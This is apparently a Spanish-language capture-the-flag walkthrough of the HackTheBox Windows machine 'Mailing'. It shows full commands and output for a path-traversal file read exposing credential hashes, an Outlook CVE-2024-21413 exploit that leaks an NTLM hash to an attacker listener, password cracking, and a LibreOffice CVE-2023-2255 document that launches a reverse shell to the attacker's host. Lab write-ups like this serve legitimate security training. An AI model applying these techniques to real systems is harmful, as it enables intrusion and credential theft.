Mailing es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Mailing 10.10.11.14 a /etc/hosts como mailing.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.14 Nmap scan report for 10.10.11.14 Host is up, received echo-reply ttl 127 (0.038s latency). Scanned at 2024-05-09 15:57:14 CEST for 27s Not shown: 65515 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 25/tcp open smtp syn-ack ttl 127 80/tcp open http syn-ack ttl 127 110/tcp open pop3 syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 143/tcp open imap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 465/tcp open smtps syn-ack ttl 127 587/tcp open submission syn-ack ttl 127 993/tcp open imaps syn-ack ttl 127 5040/tcp open unknown syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 7680/tcp open pando-pub syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49665/tcp open unknown syn-ack ttl 127 49666/tcp open unknown syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49668/tcp open unknown syn-ack ttl 127 49669/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu May 9 15:57:41 2024 -- 1 IP address (1 host up) scanned in 26.66 seconds |
Una vez detectados los puertos abiertos vamos a analizar los mismos más detenidamente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
$ nmap -sCV -p 25,80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,49668,49669 -oA enumeration/nmap2 10.10.11.14 Nmap scan report for 10.10.11.14 Host is up (0.043s latency). PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://mailing.htb 110/tcp open pop3 hMailServer pop3d |_pop3-capabilities: TOP USER UIDL 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 143/tcp open imap hMailServer imapd |_imap-capabilities: IMAP4 completed IMAP4rev1 RIGHTS=texkA0001 ACL NAMESPACE CAPABILITY OK SORT CHILDREN IDLE QUOTA 445/tcp open microsoft-ds? 465/tcp open ssl/smtp hMailServer smtpd |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 |_Not valid after: 2029-10-06T18:24:10 | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 587/tcp open smtp hMailServer smtpd |_ssl-date: TLS randomness does not represent time | smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 |_Not valid after: 2029-10-06T18:24:10 993/tcp open ssl/imap hMailServer imapd |_ssl-date: TLS randomness does not represent time |_imap-capabilities: IMAP4 completed IMAP4rev1 RIGHTS=texkA0001 ACL NAMESPACE CAPABILITY OK SORT CHILDREN IDLE QUOTA | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 |_Not valid after: 2029-10-06T18:24:10 5040/tcp open unknown 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 7680/tcp open pando-pub? 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2024-05-09T14:00:29 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 9 16:01:08 2024 -- 1 IP address (1 host up) scanned in 200.25 seconds |
Enumeración
Accedemos al portal web en el puerot 80 donde vemos la siguiente web

En la misma encontramos la siguiente url para la descarga de ficheros
|
1 |
http://mailing.htb/download.php?file=instructions.pdf |
En el mismo vemos un usuario, maya

en el pdf también vemos que utiliza microsoft outlook, y si nos fijamos en el escaneo de nmap, tenemos el servicio de hMailServer en el puerto 25, así que buscamos en google donde almacena la configuración y probaremos a obtener el fichero a través de un LFI
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ curl -s http://mailing.htb/download.php?file=../../../Program+Files+(x86)/hMailServer/Bin/hMailServer.INI ... [Directories] ProgramFolder=C:\Program Files (x86)\hMailServer DatabaseFolder=C:\Program Files (x86)\hMailServer\Database DataFolder=C:\Program Files (x86)\hMailServer\Data LogFolder=C:\Program Files (x86)\hMailServer\Logs TempFolder=C:\Program Files (x86)\hMailServer\Temp EventFolder=C:\Program Files (x86)\hMailServer\Events [GUILanguages] ValidLanguages=english,swedish [Security] AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7 [Database] Type=MSSQLCE Username= Password=0a9f8ad8bf896b501dde74f08efd7e4c PasswordEncryption=1 Port=0 Server= Database=hMailServer Internal=1 ... |
Tenemos el hash de la password, así que vamos a crackstation para sacar la pass en plano

Y con ello vamos a tratar de enviar un correo malicioso al usuario maya.
Probaremos en primer lugar a conectarnos
|
1 2 3 4 5 6 7 8 9 10 11 |
$ telnet 10.10.11.14 110 Trying 10.10.11.14... Connected to 10.10.11.14. Escape character is '^]'. +OK POP3 USER administrator@mailing.htb +OK Send your password PASS homenetworkingadministrator +OK Mailbox locked and ready LIST +OK 0 messages (0 octets) |
Y buscando en google encontramos el cve CVE-2024-21413, un RCE para outlook y un exploit en github.
Por lo que descargamos el mismo, levantamos la escucha con responder
|
1 |
$ sudo responder -I tun0 -v |
y ejecutamos
|
1 2 3 4 5 6 |
$ python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url \\10.10.14.11\test --subject testing CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC. Alexander Hagenah / @xaitax / ah@primepage.de ✅ Email sent successfully. |
consiguiendo el hash del usuario en nuestra escucha
|
1 2 3 |
[SMB] NTLMv2-SSP Client : 10.10.11.14 [SMB] NTLMv2-SSP Username : MAILING\maya [SMB] NTLMv2-SSP Hash : maya::MAILING:72f52c89e34d2917:76D8AEBB266EE90D2F087237ED57299D:010100000000000080E6B5002DA2DA01898D5D350F67B7C400000000020008004F0038003600350001001E00570049004E002D004100300032004C004500370057004D0036003100370004003400570049004E002D004100300032004C004500370057004D003600310037002E004F003800360035002E004C004F00430041004C00030014004F003800360035002E004C004F00430041004C00050014004F003800360035002E004C004F00430041004C000700080080E6B5002DA2DA0106000400020000000800300030000000000000000000000000200000F600E5E45159AEA0E4119C8DD23EC0A8A9B12B569DBB4149FEB25062991CD7FE0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310031000000000000000000 |
lo romperemos con hashcat
|
1 2 3 4 |
$ hashcat -m 5600 maya.hash /usr/share/wordlists/rockyou.txt ... MAYA::MAILING:72f52c89e34d2917:76D8AEBB266EE90D2F087237ED57299D:010100000000000080E6B5002DA2DA01898D5D350F67B7C400000000020008004F0038003600350001001E00570049004E002D004100300032004C004500370057004D0036003100370004003400570049004E002D004100300032004C004500370057004D003600310037002E004F003800360035002E004C004F00430041004C00030014004F003800360035002E004C004F00430041004C00050014004F003800360035002E004C004F00430041004C000700080080E6B5002DA2DA0106000400020000000800300030000000000000000000000000200000F600E5E45159AEA0E4119C8DD23EC0A8A9B12B569DBB4149FEB25062991CD7FE0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310031000000000000000000:m4y4ngs4ri ... |
Y accedemos con la password al servidor
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i mailing.htb -u maya -p "m4y4ngs4ri" Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\maya\Documents> whoami mailing\maya |
Obteniendo la flag de user
Una vez dentro cogemos la primera flag
|
1 2 3 |
*Evil-WinRM* PS C:\Users\maya\Documents> type ..\Desktop\user.txt 381c28dbc6eb713b82d3ade631968fa3 *Evil-WinRM* PS C:\Users\maya\Documents> |
Escalado de privilegios
Revisamos la máquina y encontramos instalado libreoffice y la versión del mismo
|
1 2 3 4 5 6 7 8 |
*Evil-WinRM* PS C:\program files\libreoffice\readmes> type readme_en-US.txt ====================================================================== LibreOffice 7.4 ReadMe ====================================================================== |
El cual tiene una vulnerabilidad de RCE con el cve CVE-2023-2255 y un exploit en github
además de esto encontramos un directorio interesante en la raíz que se ejecuta con permisos de admin
|
1 2 3 4 5 6 7 8 9 |
*Evil-WinRM* PS C:\important documents> icacls "c:\important documents" c:\important documents MAILING\maya:(OI)(CI)(M) BUILTIN\Administradores:(I)(OI)(CI)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Usuarios:(I)(OI)(CI)(RX) NT AUTHORITY\Usuarios autentificados:(I)(M) NT AUTHORITY\Usuarios autentificados:(I)(OI)(CI)(IO)(M) Successfully processed 1 files; Failed processing 0 files |
así que vamos a subir una revshell en python a la carpeta documents del usuario y ejecutaremos el exploit para generar el fichero odt malicioso
|
1 2 |
$ python3 CVE-2023-2255.py --cmd "python C:\Users\maya\Documents\shell.py" --output exploit.odt File exploit.odt has been created ! |
una vez lo tenemos lo subimos al directorio que vimos antes en la raíz
|
1 2 3 4 5 6 7 8 9 10 |
*Evil-WinRM* PS C:\important documents> iwr -uri http://10.10.14.11/exploit.odt -outfile exploit.odt *Evil-WinRM* PS C:\important documents> dir Directory: C:\important documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 5/9/2024 4:47 PM 30519 exploit.odt |
y al cabo de unos segundos tendremos una shell con el usuario localadmin
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.11.14] 64058 Microsoft Windows [Version 10.0.19045.4355] (c) Microsoft Corporation. All rights reserved. C:\Program Files\LibreOffice\program>whoami whoami mailing\localadmin |
Obteniendo la flag de root
Con permisos de admin ya sólo nos queda ir a por la flag
|
1 2 3 |
c:\Users\localadmin\Desktop>type root.txt type root.txt b4b26ee16d1cda5a61a00fbb223b7149 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










